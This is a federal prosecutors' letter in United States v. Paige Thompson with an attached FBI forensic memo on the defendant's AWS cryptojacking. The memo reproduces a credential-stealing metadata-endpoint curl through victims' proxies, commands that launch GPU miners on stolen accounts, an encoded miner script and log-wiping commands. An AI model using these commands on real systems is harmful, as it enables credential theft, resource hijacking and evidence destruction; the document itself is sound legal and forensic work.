U.S. Department of Justice

United States Attorney
Western District of Washington

Please reply to:
Andrew C. Friedman
Assistant United States Attorney
Direct Line: (206) 553-2277

Seattle Office:
700 Stewart Street, Ste 5220
Seattle WA, 98101
Tel: (206) 553-7970
Fax: (206) 553-0582
www.usdoj.gov/usao/waw

Tacoma Office:
1201 Pacific Ave., Ste 700
Tacoma, WA 98402
Tel: (253) 428-3800
Fax: (253) 428-3826

May 3, 2022

BY E-MAIL

Brian Klein, Esq.
Melissa Meister, Esq.
Emily Stierwalt, Esq.
Waymaker LLP
515 S Flower Street, Suite 2850
Los Angeles, California 90071

Mohammad Hamoudi, Esq.
Christopher Sanders, Esq.
Nancy Tenney, Esq.
Office of the Federal Public Defender
1601 5th Avenue, Suite 700
Seattle, Washington 98101

Re: *United States v. Paige Thompson*, CR19-159 RSL (W.D. Wash.)

Dear Counsel:

We write to respond to your letter of April 27, 2022, and to our follow-up conversation of April 29, 2022. Your letter challenges the adequacy of the notice that the government has provided concerning evidence of your client's cryptojacking activity that the government believes is admissible under Federal Rule of Evidence 404(b). That notice was provided in letters dated March 11, 2022, and April 22, 2022. (Your letter does not challenge the adequacy of the notice relating to evidence of data theft that is admissible under Rule 404(b). As a result, we do not address that in this letter.)

Your letter makes two principal challenges to the cryptojacking evidence.

1. The Reason Evidence is Admissible

Your letter asserts that the government must "articulate a non-propensity purpose" for which Rule 404(b) evidence is offered, relevant, and admissible.

As an initial matter, the cryptojacking evidence at issue is admissible (without reference to Rule 404(b)), because it is "inextricably intertwined" with the crimes charged. Our letter of March 11, 2022, explained why this is the case. The legal discussion in that letter – which applied both to the data-theft evidence and the cryptojacking evidence – noted that, as the Ninth Circuit has held, "[e]vidence should not be considered 'other crimes' or 'other act' evidence . . . if 'the evidence concerning the "other" act and the evidence concerning the crime charged are inextricably intertwined.'" *United States v. Dorsey,* 677 F.3d 944, 951 (9th Cir. 2012) (quoting *United States v. Soliman*, 813 F.2d 277, 279 (9th Cir. 1987)).

Under this doctrine, evidence will be admitted where it is "part of the transaction that serves as the basis for the criminal charge," or where it is "necessary to do so to permit the prosecutor to offer a coherent and comprehensible story regarding the commission of the crime." *United States v. Loftis*, 843 F.3d 1173, 1178 (9th Cir. 2016) (quoting *United States v. Vizcarra-Martinez*, 66 F.3d 1006, 1012-13 (9th Cir. 1995); *see also*, *e.g.*, *United States v. Mundi*, 892 F.2d 817, 820 (9th Cir. 1989) (approving admission, in a wire fraud case in which indictment named only one travel agency as a victim of a broad scheme to defraud travel agencies, of testimony concerning fraud upon additional travel agencies not mentioned in the indictment).

The evidence of other cryptojacking victims in this case is inextricably intertwined with the charged crimes. These other cryptojacking victims were victims of the same scheme in which your client designed a proxy scanner to scan millions of Amazon Web Service (AWS) clients' servers to identify clients with misconfigured web application firewalls. Your client then used the same attack vector to steal credentials for IAM roles belonging to the victims. And, your client then stole data and/or planted cryptocurrency-mining software, depending upon what permissions the stolen roles possessed. In addition, the evidence from your client's devices relating to charged victims is thoroughly intertwined with that relating to uncharged victims. That is, commands used to attack charged and uncharged victims, and information regarding the systems and security credentials of charged and uncharged victims, routinely are intermixed or found in close proximity.

Even if the evidence were not inextricably intertwined, however, it also is admissible under Federal Rule of Evidence 404(b), and we also will offer it under that Rule. As set forth in our letter of March 11, 2022, Rule 404(b) permits the introduction of "other acts" evidence to prove "motive, opportunity, intent, preparation, plan, knowledge, identity, or absence of mistake, or lack of accident." Fed. R. Evid. 404(b).

The Ninth Circuit has consistently held that Rule 404(b) is a rule of inclusion rather than exclusion, and that evidence of other acts is admissible "whenever relevant to an issue other than the defendant's criminal propensity." *United States v. Mehrmanesh*, 689 F.2d 822, 830 (9th Cir. 1982).

As set forth in our letter of March 11, 2022, the evidence of uncharged cryptojacking victims is admissible to prove your client's intent, preparation, plan, and absence of mistake or accident, because it shows that your client methodically scanned millions of potential victims' servers seeking security flaws, rather than inadvertently taking information or using resources that she did not realize belonged to others. It also is admissible because it shows motive – namely, that your client was seeking to monetize her crimes (rather than acting without criminal intent and/or as a "white hat hacker") by conducting cryptojacking of numerous victims' servers and therefore maximizing the amount of money that she made through her hacking.

2. Evidence Your Client Committed Cryptojacking

The government's letters of March 11, 2022, and April 22, 2022 identified nine different companies (other than Victim 7 and Victim 8), whose IAM roles were used by your client to mine cryptocurrency, as part of her overarching scheme. Your letter asserts that the government "has not identified any discovery disclosed to defense showing [your client] planted crypto-currency-mining software on any of these companies' servers."

Since sending those letters, we have learned that two of those companies are linked to the same AWS victim account. We also have determined that we likely will not present evidence regarding [redacted]. As a result, we currently expect to present specific evidence of cryptocurrency mining conducted between February 2019 and August 2019 against the following companies:

[redacted]

We also expect to present evidence that, between February 2019 and August 2019, your client was engaged more broadly in a scheme to conduct cryptojacking against a large number of companies whose IAM roles she assumed but which we have not been able to identify by name and account number.

Despite your claim to the contrary, the government has provided abundant discovery evidencing both your client's overall cryptojacking scheme, and showing that your client targeted, and likely succeeded in cryptojacking, each of the victims identified

by name in the previous paragraph. That evidence includes, among other evidence, the following:

- On April 15, 2021, in response to your request, the government provided you a memorandum prepared by an FBI Computer Scientist that explained the evidence on your client's computer showing that your client engaged in cryptojacking and identifying the file directories and file paths where you could find that evidence. Specifically, that memorandum, a copy of which is attached to this letter, explained that evidence may be found in the folder aws_hacking_shit, and in two subfolders of that folder, aws_hacking_shit/miner and aws_hacking_shit/aws_scan/miner, on your client's principal computer. It also provided a detailed explanation of some of the relevant code within those folders. The memorandum further identified aws_hacking_shit/aws.commands "as a file that references the deployment of cryptocurrency miners, including running and creating high resource AWS instances." Notably, all of the evidence explained in that memorandum was contained on an image of your client's principal computer that was provided to you in January 2020.

- Your client repeatedly stated on social media and in text/chat communications that she was engaged in cryptojacking on a large and profitable scale, even referring to her activities as a "cryptojacking enterprise." For example, your client sent a direct message on Twitter stating that she was supporting herself by "hacking ec2 instances and getting access to some aws accounts and using them to mine crypto." And your client posted on Slack "[f]or some reason I lost a whole fleet of miners all at the same time, so I think someone is onto me." Copies of those (and numerous other relevant) social media statements were provided to you in discovery, including, but not limited to, at USA-00004748 and USA-00004779 on February 10, 2020.

- Your client received financial proceeds from cryptojacking between March and August 2019. Records identifying the Ethereum wallet into which the proceeds were deposited (the address for which also appears in the aws_hacking_shit folder on your client's principal computer), as well as records identifying amounts and dates of deposits were shown to you during a presentation on October 4, 2019, a copy of which was provided to you in discovery at USA-00004631-68 on February 10, 2020.

For various reasons, including the fact that your client's code was designed to run in servers' active memory and to delete computer logs evidencing its presence on servers, and the fact that many of these servers were terminated (in many cases before your client even was arrested) thereby deleting any information in active memory, neither the

planted cryptocurrency code nor the server logs for the terminated instances still existed by the time that the government was able to identify particular cryptojacking victims by name and account number. Nevertheless, the discovery in the case includes substantial evidence relating to the specific victims identified on page 3 of this letter.

This evidence includes the following:

- IP addresses and account numbers for each of the identified victims are included in AWS records that were produced to you at USA-00004496-551 and USA00014661-702 on February 10, 2020, and April 26, 2022.

- IP addresses and IAM roles of each of the identified victims are found in the aws_hacking_shit folder and its subfolders on your client's computer, and in various other files and folders on her devices, including, but not limited to:

    - the folder home/erratic/.ssh
    - the folder home/erratic/.aws, and files within it named config and credentials
    - the file newawswork on your client's laptop

  The code contained in those files suggests that your client planted, or at least attempted to plant, cryptocurrency mining software on servers charged to clients with IP addresses and IAM roles contained in the files, including each of the companies identified on page 3 of this letter. In particular, that code included instructions to create p3 2xlarge, p3 8xlarge, and/or p3 16xlarge servers (three types of high-performance servers or "instances") on accounts belonging to victims, including the identified victims. It also shows that your client then ran code to install cryptocurrency-mining software on the servers. As previously noted, an image including these folders and files was provided to you in January 2020.

- Billing and ec2 instance records for the accounts of the identified victims show that p3 2xlarge, p3 8xlarge, and/or p3 16xlarge instances were, in fact, created on the identified victims accounts during the period during which your client was conducting cryptojacking activity – often on almost the exact date on which logs on your client's computer show that your client created new servers on the victims' accounts. Those records also indicate that, on many occasions, AWS either refunded the victims for the instances – as would be expected in the case of rogue instances created by a hacker, rather than authorized by the AWS client – or simply did not bill the victims for these instances.

This evidence – all of which has been provided in discovery – shows that (1) between February 2019 and August 2019, your client was engaged in a broad scheme to engage in cryptojacking using multiple victims' servers, and (2) the victims, and intended victims, of that activity included each of the specific victims identified on page 3 of this letter.

NICHOLAS W. BROWN
United States Attorney

s/ Andrew C. Friedman
s/ Jessica M. Manca
s/ Tania M. Culbertson

ANDREW C. FRIEDMAN
JESSICA M. MANCA
TANIA M. CULBERTSON
Assistant United States Attorneys

Attachment

Friedman, Andrew (USAWAW)

From: Friedman, Andrew (USAWAW)
Sent: Thursday, April 15, 2021 9:41 AM
To: Mo Hamoudi; Masada, Steven (USAWAW)
Cc: Brian Klein; Nancy Tenney; Melissa Meister; Stacey Brownstein; Charlotte Ponikvar
Subject: RE: Thompson Discovery Request
Attachments: Cryptocurrency_Miners_PaigeThompson.pdf; Directory Tree 1.html; Directory Tree 2.html; Directory Tree 3.html

Mo,

Attached please find a write-up explaining some of the evidence about which you inquired, as well as several accompanying printouts of directory trees to help you identify the location of the referenced data on the image of Ms. Thompson's digital devices. In general, this evidence is found in the folder erratic/aws_hacking_shit, and in subfolders of that folder. The specific victim used as an example, and referred to on page 2, of the write-up, with IP address 18.235.8.209, is 42 Lines Inc. This is one of a number of victims on which mining was conducted. We trust this answers your questions.

[redacted]

Andrew & Steven

From: Friedman, Andrew (USAWAW)
Sent: Tuesday, April 6, 2021 8:46 AM
To: 'Mo Hamoudi' <Mo_Hamoudi@fd.org>; Masada, Steven (USAWAW) <SMasada@usa.doj.gov>
Cc: Brian Klein <bklein@waymakerlaw.com>; Nancy Tenney <Nancy_Tenney@fd.org>; Melissa Meister <mmeister@waymakerlaw.com>; Stacey Brownstein <Stacey_Brownstein@fd.org>; Charlotte Ponikvar <Charlotte_Ponikvar@fd.org>
Subject: Thompson Discovery Request

Mo,

Thanks for your email. Relevant logs and scripts were included in the images of Ms. Thompson's digital devices. This data does not have individual Bates numbers. Nevertheless, to facilitate your search, we will work with FBI to provide examples of such evidence (and to identify the specific sources of those examples).

This will likely take us a few days – we'll shoot to have this for you later this week or, at worst, next week.

Thanks,

Andrew

From: Mo Hamoudi <Mo_Hamoudi@fd.org>
Sent: Monday, April 5, 2021 12:57 PM
To: Friedman, Andrew (USAWAW) <AFriedman@usa.doj.gov>; Masada, Steven (USAWAW) <SMasada@usa.doj.gov>
Cc: Brian Klein <bklein@waymakerlaw.com>; Nancy Tenney <Nancy_Tenney@fd.org>; Melissa Meister <mmeister@waymakerlaw.com>; Stacey Brownstein <Stacey_Brownstein@fd.org>; Charlotte Ponikvar <Charlotte_Ponikvar@fd.org>
Subject: Thompson Discovery Request

Andrew and Steve,

We're working our way through the discovery and we have not been able to locate discovery supporting the allegation that Thompson "used her unauthorized access to certain victim servers – and the stolen computer power of those servers – to 'mine' cryptocurrency for her own benefit..." In particular, we have not been able to identify the specific servers that form the basis of this allegation. If you can identify discovery bates number that serve as the basis for this allegation, it would be appreciated. I have provided a specific reference to the allegation below:

"It was further part of the scheme and artifice that PAIGE A. THOMPSON used her unauthorized access to certain victim servers - and the stolen computing power of those servers - to "mine" cryptocurrency for her own benefit, a practice often referred to as "cryptojacking." (Cryptocurrency mining is the process by which cryptocurrency transactions are verified and added to the public ledger, i.e., the blockchain. Persons who verify blocks of legitimate transactions, often referred to as "miners," are rewarded with an amount of that cryptocurrency. Successful mining operations consume large amounts of computing power and hardware.)."

Thanks

Mohammad Ali Hamoudi
1601 5th Avenue, Suite 700
Seattle, WA 98101
P: 206-830-2935
https://waw.fd.org/

Cryptocurrency Miners

Files that reference cryptocurrency mining, and scripts that appear to be designed to deploy on AWS servers to discretely run these cryptocurrency miners, can be found in the following directory:

"/home/erractic/aws_hacking_shit/"

A file tree structure 2 levels deep is attached for reference.

There are two directories that exist within the "aws_hacking_shit" directory that reference cryptocurrency mining:

"/home/erractic/aws_hacking_shit/miner/"
"/home/erractic/aws_hacking_shit/aws_scan/miner/"

A file tree structure of each of these directories are attached for reference.

A file that references the deployment of cryptocurrency miners, including running and creating high resource AWS instances, can be referenced from the following file:

"/home/erratic/aws_hacking_shit/aws.commands"

Under the commands where "minersetup_eth.sh" is referenced, the file in question can be located under:

"/home/erratic/aws_hacking_shit/aws_scan/miner/minersetup_eth.sh"

The script is designed to download and install the required software dependencies to run a Docker-ized container of the cryptocurrency miner, which uses mining pools from Nanopool.org.

After installing and launching the cryptocurrency miner within the AWS instance, the last four lines are designed to delete log files and other data references to the miner script. This script attempts to remove file history and traces of the miner being present on the system, aside from running in a Docker container:

```
ln -sf /dev/null /root/.bash_history
ln -sf /dev/null /home/ubuntu/.bash_history
find /var/log -type f | xargs -i -t truncate -s 0 {}
rm *
```

FBI // UNCLASSIFIED

The following commands creates the AWS instances "p3.16xlarge" and "p3.8xlarge" on the AWS server, passing the file "minersetup_eth.sh" as user data for the instances.

For reference, from the AWS documentation on Amazon's website, the following instance names listed below correlate to the following products:

Instance Size	GPUs - Tesla V100	GPU Peer to Peer	GPU Memory (GB)	vCPUs	Memory (GB)	Network Bandwidth	EBS Bandwidth	On-Demand Price/hr*	1-yr Reserved Instance Effective Hourly*	3-yr Reserved Instance Effective Hourly*
p3.8xlarge	4	NVLink	64	32	244	10 Gbps	7 Gbps	$12.24	$7.96	$4.19
p3.16xlarge	8	NVLink	128	64	488	25 Gbps	14 Gbps	$24.48	$15.91	$8.39

A file, "minersetup_eth.sh" exists in the "/home/erratic/aws_hacking_shit/aws_scan/miner/" directory. The file contains a base64 encoded command:


```
startsh="IyEvYmluL2Jhc2gKCmV4cG9ydCBXT1JLRVI9JChob3N0bmFtZSB8IHRyIC1kICdcbicpCmV4cG9ydCBFVEhfQUNDVD0iMH
g1YTg2YTZmZjIxYWFjNjU3Y2E4MjBlMjQ1MThmMDY1YjkxNWVhNzRmIgpleHBvcnQgQ1VEQVBIPTQKCnBsYWNlbWVudD0kKGN1cmwgL
XMgaHR0cDovLzE2OS4yNTQuMTY5LjI1NC9sYXRlc3QvbWV0YS1kYXRhL3BsYWNlbWVudC9hdmFpbGFiaWxpdHktem9uZSkKCmlmIFtb
ICIkcGxhY2VtZW50IiA9PSAqInVzLWVhc3QiKiBdXTsgdGhlbgogIGV4cG9ydCBQT09MMT0iZXRoLXVzLWVhc3QxLm5hbm9wb29sLm9
yZzo5OTk5IgogIGV4cG9ydCBQT09MMj0iZXRoLXVzLXdlc3QxLm5hbm9wb29sLm9yZzo5OTk5IgoKZWxpZiBbWyAiJHBsYWNlbWVudC
IgPT0gKiJ1cy13ZXN0IiogXV07IHRoZW4KICBleHBvcnQgUE9PTDI9ImV0aC11cy1lYXN0MS5uYW5vcG9vbC5vcmc6OTk5OSIKICBle
HBvcnQgUE9PTDE9ImV0aC11cy13ZXN0MS5uYW5vcG9vbC5vcmc6OTk5OSIKCmVsaWYgW1sgIiRwbGFjZW1lbnQiID09ICoiZXUtIiog
XV07IHRoZW4KICBleHBvcnQgUE9PTDE9ImV0aC1ldTEubmFub3Bvb2wub3JnOjk5OTkiCiAgZXhwb3J0IFBPT0wyPSJldGgtZXUyLm5
hbm9wb29sLm9yZzo5OTk5IgoKZWxpZiBbWyAiJHBsYWNlbWVudCIgPT0gKiJhcC1ub3J0aGVhc3QtMSIqIF1dOyB0aGVuCiAgZXhwb3
J0IFBPT0wyPSJldGgtYXNpYTEubmFub3Bvb2wub3JnOjk5OTkiCiAgZXhwb3J0IFBPT0wxPSI6ZXRoLWpwMS5uYW5vcG9vbC5vcmc6O
Tk5OSIKCmVsaWYgW1sgIiRwbGFjZW1lbnQiID09ICoiYXAtc291dGhlYXN0LTIiKiBdXTsgdGhlbgogIGV4cG9ydCBQT09MMT0iZXRo
LWF1MS5uYW5vcG9vbC5vcmc6OTk5OSIKICBleHBvcnQgUE9PTDI9ImV0aC1hdTEubmFub3Bvb2wub3JnOjk5OTkiCgplbGlmIFtbICI
kcGxhY2VtZW50IiA9PSAqImFwLSIqIF1dOyB0aGVuCiAgZXhwb3J0IFBPT0wxPSJldGgtYXNpYTEubmFub3Bvb2wub3JnOjk5OTkiCi
AgZXhwb3J0IFBPT0wyPSI6ZXRoLWpwMS5uYW5vcG9vbC5vcmc6OTk5OSIKCmVsc2UgCiAgZXhwb3J0IFBPT0wxPSJldGgtdXMtZWFzd
DEubmFub3Bvb2wub3JnOjk5OTkiCiAgZXhwb3J0IFBPT0wyPSJldGgtdXMtd2VzdDEubmFub3Bvb2wub3JnOjk5OTkiCmZpCgoKZXhw
b3J0IEdQVV9GT1JDRV82NEJJVF9QVFI9MApleHBvcnQgR1BVX01BWF9IRUFQX1NJWkU9MTAwCmV4cG9ydCBHUFVfVVNFX1NZTkNfT0J
KRUNUUz0xCmV4cG9ydCBHUFVfTUFYX0FMTE9DX1BFUkNFTlQ9MTAwCmV4cG9ydCBHUFVfU0lOR0xFX0FMTE9DX1BFUkNFTlQ9MTAwCg
ovZXRobWluZXIvYmluL2V0aG1pbmVyIC1SIC1VIC1QIHN0cmF0dW06Ly8kRVRIX0FDQ1QuJFdPUktFUkAkUE9PTDEgc3RyYXR1bTovL
yRFVEhfQUNDVC4kV09SS0VSQCRQT09MMiAtLWN1ZGEtcGFyYWxsZWwtaGFzaCAkQ1VEQVBIIC0tYXBpLXBvcnQgMzMzMwo="
```


The file is later saved as "start.sh" within the script:

```
echo $startsh | base64 -d > start.sh
```

When the contents of "startsh" is base64 decoded, the following script is created:

```
#!/bin/bash

export WORKER=$(hostname | tr -d '\n')
export ETH_ACCT="0x5a86a6ff21aac657ca820e24518f065b915ea74f"
export CUDAPH=4

placement=$(curl -s http://169.254.169.254/latest/meta-data/placement/availability-zone)

if [[ "$placement" == *"us-east"* ]]; then
  export POOL1="eth-us-east1.nanopool.org:9999"
  export POOL2="eth-us-west1.nanopool.org:9999"

elif [[ "$placement" == *"us-west"* ]]; then
  export POOL2="eth-us-east1.nanopool.org:9999"
  export POOL1="eth-us-west1.nanopool.org:9999"
```

One of the files embedded as an encoded Base64 file in the script is "start.sh", which when decoded references a specific ethereum address to deposit the funds generated from mining Ethereum using Nanopool:

"0x5a86a6ff21aac657ca820e24518f065b915ea74f"

Review of the browser history under "/home/erratic/.config/google-chrome" also reference URL visits to the website "Nanopool", which the scripts use to mine ethereum. There are also references to the specific address, "0x5a86a6ff21aac657ca820e24518f065b915ea74f", which were also identified within the miner scripts.

Example

The file "11-3-19.443.log", with a last modified date of 11 March 2019, located in the "/home/erratic/aws_hacking_shit/aws_scan/" directory, contains an entry of a successful attack against the following AWS IP address 18.235.8.209:

```
curl --fail -s -L --proxy-insecure -m 5 --connect-timeout 2 --proxy https://18.235.8.209:443 http://169.254.169.254/latest/meta-data/iam/info
{
  "Code" : "Success",
  "LastUpdated" : "2019-03-12T04:28:09Z",
  "InstanceProfileArn" : "arn:aws:iam::689355496483:instance-profile/42-default-instance-role",
  "InstanceProfileId" : "AIPAIADCPZFEIDK5ZLEI6"
}
```

The server hosted at AWS IP Address 18.235.8.209 has been identified as a server belonging to a U.S. victim company.

Under the "aws.commands" file in the "/home/erratic/aws_hacking_shit/" directory, the following entry on lines 114 – 121 (listed as lines 891 – 915 within the file) reference the AWS IP address 18.235.8.209:

```
  891  curl --fail -s -L --proxy-insecure -m 5 --connect-timeout 2 --proxy https://18.235.8.209:443 http://169.254.169.254/latest/meta-data/iam/security-credentials/42-default-instance-role | awssession.sh
  909  aws ec2 run-instances --region eu-west-2 --instance-type p3.16xlarge --count 2 --image-id ami-08d658f84a6d84a80 --associate-public-ip-address --security-group-ids sg-0b05706e --instance-initiated-shutdown-behavior terminate --user-data file://minersetup_eth.sh
  910  aws ec2 run-instances --region eu-west-1 --instance-type p3.16xlarge --count 2 --image-id ami-08d658f84a6d84a80 --associate-public-ip-address --security-group-ids sg-0b05706e --instance-initiated-shutdown-behavior terminate --user-data file://minersetup_eth.sh
  911  aws ec2 describe-subnets --region eu-west-1
  912  aws ec2 describe-vpcs --region eu-west-1
  913  aws ec2 create-default-vpc --region eu-west-1
  914  aws ec2 describe-vpcs --region eu-west-2
  915  aws ec2 run-instances --region eu-west-2 --instance-type p3.8xlarge --count 1 --image-id ami-07dc734dc14746eab --associate-public-ip-address --security-group-ids sg-16b6717f --instance-initiated-shutdown-behavior terminate --user-data file://minersetup_eth.sh
```

```
elif [[ "$placement" == *"eu-"* ]]; then
  export POOL1="eth-eu1.nanopool.org:9999"
  export POOL2="eth-eu2.nanopool.org:9999"

elif [[ "$placement" == *"ap-northeast-1"* ]]; then
  export POOL2="eth-asia1.nanopool.org:9999"
  export POOL1=":eth-jp1.nanopool.org:9999"

elif [[ "$placement" == *"ap-southeast-2"* ]]; then
  export POOL1="eth-au1.nanopool.org:9999"
  export POOL2="eth-au1.nanopool.org:9999"

elif [[ "$placement" == *"ap-"* ]]; then
  export POOL1="eth-asia1.nanopool.org:9999"
  export POOL2=":eth-jp1.nanopool.org:9999"

else
  export POOL1="eth-us-east1.nanopool.org:9999"
  export POOL2="eth-us-west1.nanopool.org:9999"
fi


export GPU_FORCE_64BIT_PTR=0
export GPU_MAX_HEAP_SIZE=100
export GPU_USE_SYNC_OBJECTS=1
export GPU_MAX_ALLOC_PERCENT=100
export GPU_SINGLE_ALLOC_PERCENT=100

/ethminer/bin/ethminer -R -U -P stratum://$ETH_ACCT.$WORKER@$POOL1 stratum://$ETH_ACCT.$WORKER@$POOL2 -
-cuda-parallel-hash $CUDAPH --api-port 3333
```

where "export ETH_ACCT="0x5a86a6ff21aac657ca820e24518f065b915ea74f" designates the Ethereum account 0x5a86a6ff21aac657ca820e24518f065b915ea74f to have funds deposited to when the cryptocurrency miner completes its mining tasks.

From approximately 11 April 2019 to 2 July 2019, the user "erratic" on the computer system uses the Google Chrome web browser to periodically check the balance of the Ethereum address "0x5a86a6ff21aac657ca820e24518f065b915ea74f".

For example:

2019-04-11 14:17:09.692	https://eth.nanopool.org/account/0x5a86a6ff21aac657ca820e24518f065b915ea74f	Nanopool | Ethereum | Account
2019-05-29 17:43:11.238	https://etherscan.io/address/0x5a86a6ff21aac657ca820e24518f065b915ea74f	Ethereum Accounts, Addresses and Contracts
2019-07-02 05:44:21.452	https://etherscan.io/address/0x5a86a6ff21aac657ca820e24518f065b915ea74f	Ethereum Accounts, Addresses and Contracts

Contributions to this Ethereum address from the Nanopool miner can be referenced on the publicly available Ethereum blockchain. In some instances, the user will visit a cryptocurrency exchange or e-gift card commerce website that accepts cryptocurrency following the URL visit. The Ethereum address has been observed withdrawing funds on multiple occasions between 11 April 2019 to 2 July 2019.

Information about the Ethereum address "0x5a86a6ff21aac657ca820e24518f065b915ea74f":

- The first transaction to this address was on 10 March 2019.
- There was a total of 296 transactions. 35 of them were outgoing transactions (i.e. exchanging Ethereum for cash).
- The other 261 transactions appear to be all incoming Ethereum mined from using Nanopool.
- There were frequent transactions from Nanopool going into this account about every other day since 10 March 2019. The transactions stopped on 5 August 2019.

Directory Tree

```
/home/erratic/aws_hacking_shit
├── [     183402 Mar 18  2016]  1.19.04_StorCLI.txt
├── [      48298 Jan 19  2014]  8.07.14_MegaCLI.txt
├── [        406 Mar  9  2019]  9-3-19.non443.log
├── [        148 Jun 17  2019]  AWSSCAN
│   ├── [        108 Apr 12  2019]  C-Thread-Pool
│   ├── [        284 May 26  2019]  dump_cred.sh
│   ├── [     183664 Jun  8  2019]  main
│   ├── [      10574 Jun  8  2019]  main.c
│   ├── [       7814 Jun  8  2019]  main.h
│   ├── [    7432598 May 11  2019]  new
│   ├── [        149 Jun  8  2019]  run.sh
│   ├── [  173106176 Jun 17  2019]  s.tar.xz
│   └── [        281 May 26  2019]  test_list_key.sh
├── [        260 Jul  3  2019]  AWSScanner
│   ├── [         26 Apr  6  2019]  .vscode
│   ├── [        108 Apr 12  2019]  C-Thread-Pool
│   ├── [     378880 Apr 14  2019]  C-Thread-Pool.tar
│   ├── [         70 Apr 12  2019]  backburner
│   ├── [         26 May 29  2019]  deploy
│   ├── [     115104 Apr 18  2019]  iam01
│   ├── [     192256 Jul  3  2019]  main
│   ├── [       7181 Jul  3  2019]  main.c
│   ├── [       2360 Jul  2  2019]  main.h
│   ├── [      47794 May 29  2019]  new
│   ├── [  147607992 Apr 11  2019]  new_all.xz
│   ├── [  296355840 Apr 17  2019]  s.tar
│   ├── [  310972541 Jul  4  2019]  scan.log
│   ├── [     173915 Apr 18  2019]  user-data01
│   ├── [     182271 Apr 18  2019]  user-data02
│   └── [          0 Apr 17  2019]  whoa.txt
├── [  148285440 Apr 12  2019]  AWSScanner.tar
├── [        142 Jun  8  2019]  AZURESCAN
│   ├── [        108 Apr 12  2019]  C-Thread-Pool
│   ├── [     183976 Jun  8  2019]  main
│   ├── [      10824 Jun  8  2019]  main.c
│   ├── [       3139 Jun  8  2019]  main.h
│   ├── [      94775 Jun 10  2019]  messages.log
│   ├── [     163840 May 13  2019]  metadata.db
│   ├── [    2599310 May 11  2019]  new
│   ├── [   20342811 Jun 10  2019]  new.joblog
│   └── [        149 Jun  8  2019]  run.sh
├── [      99567 Mar 10  2019]  PublicIPs_20190305.xml
├── [     289618 Jun 15  2019]  acc.log
├── [     377601 Jun 15  2019]  acc2.log
├── [   40796160 Jun 19  2019]  all_addresses.txt
├── [     183393 Jun 19  2019]  aws.commands
```

Ex D, p. 14

```
├── [      61440 Jun 19  2019]  aws.tar
├── [       2722 May 29  2019]  aws_scan
│   ├── [       3950 Apr 12  2019]  -o
│   ├── [       6165 Apr  7  2019]  07.04.19
│   ├── [          0 Apr  7  2019]  07.04.19-2
│   ├── [      16916 Mar 11  2019]  11-3-19
│   ├── [     286542 Mar 11  2019]  11-3-19.443.log
│   ├── [      44137 Mar 12  2019]  11-3-19.non443.log
│   ├── [      12298 Mar 14  2019]  14-03-19.non443.log
│   ├── [       4207 Mar 14  2019]  14-03.19
│   ├── [        399 Mar 22  2019]  22.03.19
│   ├── [       1528 Mar 23  2019]  23-03-19.ami-id
│   ├── [       1326 Mar 26  2019]  26.03.19
│   ├── [       1551 Mar 27  2019]  27.03.19
│   ├── [       2541 Mar 28  2019]  28.03.19
│   ├── [       2259 Mar 20  2019]  3-20-19
│   ├── [       2259 Mar 20  2019]  3-20-19.ssl
│   ├── [       2767 Mar 30  2019]  30.03.19
│   ├── [       1593 Mar 12  2019]  54.164.114.241.binary.user-data
│   ├── [       8968 Mar  7  2019]  7-03-19
│   ├── [      85545 Mar  7  2019]  7-03-19.443.log
│   ├── [      20784 Mar  7  2019]  7-03-19.non443.log
│   ├── [     274501 Mar  9  2019]  9-03-19.443.log
│   ├── [      12370 Mar  9  2019]  9-3-19
│   ├── [      29541 Mar  9  2019]  9-3-19.non443.log
│   ├── [        853 Mar 22  2019]  DevGatewayInstanceRole-3
│   ├── [        326 Mar 22  2019]  README
│   ├── [   10106461 Mar 14  2019]  ajaykanthei
│   ├── [      11132 May 29  2019]  all
│   ├── [  154994412 Mar  3  2019]  all_shuf.xz
│   ├── [     102400 Mar  4  2019]  ami-id.tar
│   ├── [       3891 Mar  4  2019]  another_ec2_instance_role
│   ├── [          0 Apr  4  2019]  apperian
│   ├── [       2194 Apr  2  2019]  aquire_aws_info.sh
│   ├── [      77069 Mar  8  2019]  astem-role
│   ├── [        554 Mar  8  2019]  astem.newuser
│   ├── [       1876 Mar  8  2019]  astem.role.sshkey
│   ├── [         34 Apr  6  2019]  awsscanner
│   ├── [          0 Apr  3  2019]  awstmp
│   ├── [      75911 Mar 28  2019]  capitol_one_inclusion_list
│   ├── [         27 Mar 12  2019]  cicd-instance.us-east-1.ec2.instances
│   ├── [         27 Mar 12  2019]  cicd-instance.us-east-2.ec2.instances
│   ├── [         27 Mar 12  2019]  cicd-instance.us-west-1.ec2.instances
│   ├── [     565185 Mar 12  2019]  cicd-instance.us-west-2.ec2.instances
│   ├── [         56 Apr  2  2019]  collected
│   ├── [    1551837 Mar  8  2019]  convox-us-east-1.ec2
│   ├── [       3650 Mar 14  2019]  csp.redirect.server.ec2.tags
│   ├── [      12518 Mar 14  2019]  csp.redirect.server.ec2.user-data
│   ├── [       6436 Oct  4  2018]  deploy.sh
│   ├── [       1405 Mar 14  2019]  docker.sh
│   ├── [       2088 Mar  3  2019]  ec2-full-stuff
```

Ex D, p. 15

```
├── [        438 Mar  7  2019]  ec2_run_instance.sh
├── [   11137024 Mar 14  2019]  events.pcap
├── [         32 Mar 22  2019]  fuckyoutoo
├── [    1044597 Mar  5  2019]  fuseos-dev-compute.ec2_instances.us-east-1
├── [        940 Apr  2  2019]  gay
├── [       1201 Mar 14  2019]  globalgarner.in.env
├── [        175 Mar 20  2019]  grep-metadata-ssl.sh
├── [        170 Mar 20  2019]  grep-metadata.sh
├── [          9 Mar  4  2019]  https_ports.txt
├── [        631 Mar 28  2019]  id
├── [       2945 Mar 14  2019]  infobloxcto.docker.repos
├── [       4467 Mar 14  2019]  infobloxctodockerstuff.sh
├── [     202036 Mar  1  2019]  ip-ranges.json
├── [          0 Apr  5  2019]  k8s
├── [         26 Apr  5  2019]  kube
├── [        268 Apr  6  2019]  limits.conf
├── [         32 Mar 15  2019]  lost+found
├── [      47721 Apr  2  2019]  mega_metadata.txt
├── [   12280552 May 29  2019]  metadata
├── [         30 Mar 22  2019]  metadata-remote
├── [ 1155371412 Mar 14  2019]  metadata.scanner.joblog
├── [   98330694 May 29  2019]  metadata_old
├── [   31724524 May 29  2019]  metadata_old2
├── [   18513576 May 29  2019]  metadata_old4
├── [    9375746 May 29  2019]  metadata_old_3
├── [      30381 Mar 19  2019]  metadata_to_date_03_19_19
├── [        380 Jun 25  2019]  miner
├── [   14049280 Apr  4  2019]  miner.tar
├── [          0 Mar  8  2019]  nano
├── [     117337 Mar  4  2019]  new-ec2-credentials-describe-instances
